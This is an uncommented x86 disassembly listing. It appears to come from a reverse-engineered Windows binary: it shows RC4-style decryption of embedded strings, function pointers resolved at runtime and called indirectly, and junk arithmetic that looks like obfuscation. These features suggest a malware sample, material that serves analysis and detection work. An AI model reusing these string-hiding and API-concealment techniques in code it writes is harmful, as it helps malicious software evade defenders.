lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x1a0]
mov byte [ebp + edi - 0x1a0], al
mov byte [ebp + ebx - 0x1a0], cl
movzx eax, byte [ebp + edi - 0x1a0]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1a0]
xor al, byte [ebp + esi - 0x74]
mov byte [ebp + esi - 0x25c], al
inc esi
cmp esi, 0x18
jb 0x42225b
push dword [ebp - 0x54]
xor eax, eax
lea edx, [ebp - 0x25c]
push dword [ebp - 0x58]
mov byte [ebp - 0x244], al
lea eax, [ebp - 0x588]
push dword [ebp - 0x20]
push dword [ebp - 0x590]
push dword [ebp - 0x594]
push dword [ebp - 0x5a4]
push eax
push dword [ebp - 0x7c]
jmp 0x422408
push 0xe
pop ecx
mov esi, str.onecoreuap_base_appmodel_searchcommon_secutil_secutil.cxx
sub dword [0x435a30], 0x2ec299f8
lea edi, [ebp - 0x364]
mov dword [ebp - 0x74], 0x41e2ffe8
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x70], 0x4ae80363
mov dword [ebp - 0x6c], 0x622c27ce
mov dword [ebp - 0x68], 0x25aebbb2
movsw word es:[edi], word [esi]
mov dword [ebp - 0x64], 0x42f46a34
mov dword [ebp - 0x60], 0x91a9b85b
movsb byte es:[edi], byte [esi]
mov edi, edx
mov byte [ebp + eax - 0x1a0], al
inc eax
cmp eax, 0x100
jb 0x42232c
mov esi, edx
xor edx, edx
mov bl, byte [ebp + esi - 0x1a0]
push 0x3a
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x364]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1a0]
mov byte [ebp + esi - 0x1a0], al
inc esi
mov byte [ebp + edi - 0x1a0], bl
cmp esi, 0x100
jb 0x42233d
xor eax, eax
mov ebx, eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x1a0]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x1a0]
mov byte [ebp + edi - 0x1a0], al
mov byte [ebp + ebx - 0x1a0], cl
movzx eax, byte [ebp + edi - 0x1a0]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1a0]
xor al, byte [ebp + esi - 0x74]
mov byte [ebp + esi - 0x1c4], al
inc esi
cmp esi, 0x18
jb 0x422385
push dword [ebp - 0x54]
xor eax, eax
lea edx, [ebp - 0x1c4]
push dword [ebp - 0x58]
mov byte [ebp - 0x1ac], al
lea eax, [ebp - 0x588]
push dword [ebp - 0x20]
push dword [ebp - 0x590]
push dword [ebp - 0x594]
push dword [ebp - 0x5a4]
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 0xdac]
push eax
push 2
pop ecx
call fcn.0040a2e6
call eax
mov ecx, dword [ebp - 0x80]
lea edx, [ebp - 0xdac]
add esp, 0x24
call fcn.0040ba7a
call fcn.004207cb
mov esi, str._ProtocolName
lea edi, [ebp - 0x98]
xor eax, eax
mov ebx, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp byte [ebp - 0x98], 0x53
jne 0x422471
mov al, 0x53
test al, al
je 0x422471
cmp byte [ebp + ebx - 0x98], 0
je 0x422471
call fcn.00420191
mov al, byte [ebx + 0x432001]
inc ebx
cmp al, byte [ebp + ebx - 0x98]
je 0x42244e
call fcn.00420312
mov ecx, dword [ebp - 0x1a4]
cmp ecx, ebx
jae 0x4224a7
mov eax, dword [0x435a30]
cmp ecx, 0x301
jne 0x422492
add eax, 0x75e57d15
xor eax, 0xaf38a97c
inc ecx
cmp ecx, ebx
jb 0x422485
mov dword [0x435a30], eax
mov dword [ebp - 0x1a4], ecx
mov edi, dword [ebp - 0x84]
lea eax, [ebp - 0x5ac]
mov esi, dword [ebp - 0x88]
lea edx, [ebp - 0x278]
push eax
xor ecx, ecx
inc edi
push esi
inc ecx
mov dword [ebp - 0x84], edi
call fcn.0040a2e6
call eax
mov ebx, dword [ebp - 0x1a8]
test eax, eax
jne 0x422185
mov ebx, dword [ebp - 0xa0]
lea eax, [ebp - 0xdac]
push ebx
push eax
push 2
lea edx, [ebp - 0x294]
pop ecx
call fcn.0040a2e6
call eax
add dword [0x435a4c], 0x731a98bd
lea edx, [ebp - 0xdac]
mov ecx, dword [ebp - 0x80]
call fcn.0040ba7a
mov ecx, dword [ebp - 0x78]
call fcn.0040b8f4
push eax
xor eax, eax
push eax
push ecx
call fcn.0040b587
mov edi, dword [ebp - 0x7c]
mov ecx, edi
call fcn.0040b8f4
push eax
xor eax, eax
push eax
push edi
call fcn.0040b587
mov ecx, dword [ebp - 0x1c]
call fcn.0040b8f4
push eax
xor eax, eax
push eax
push ecx
call fcn.0040b587
mov ecx, ebx
call fcn.0040b8f4
push eax
xor eax, eax
push eax
push ebx
call fcn.0040b587
mov ecx, dword [ebp - 0x78]
add esp, 0x38
call fcn.0040a2d2
mov ecx, edi
call fcn.0040a2d2
mov ecx, dword [ebp - 0x1c]
call fcn.0040a2d2
mov ecx, ebx
call fcn.0040a2d2
xor eax, eax
lea edx, [ebp - 0x40]
push esi
lea ecx, [eax + 1]
call fcn.0040a2e6
call eax
mov ecx, dword [ebp - 0x80]
call fcn.0040b8f4
pop edi
pop esi
pop ebx
leave
ret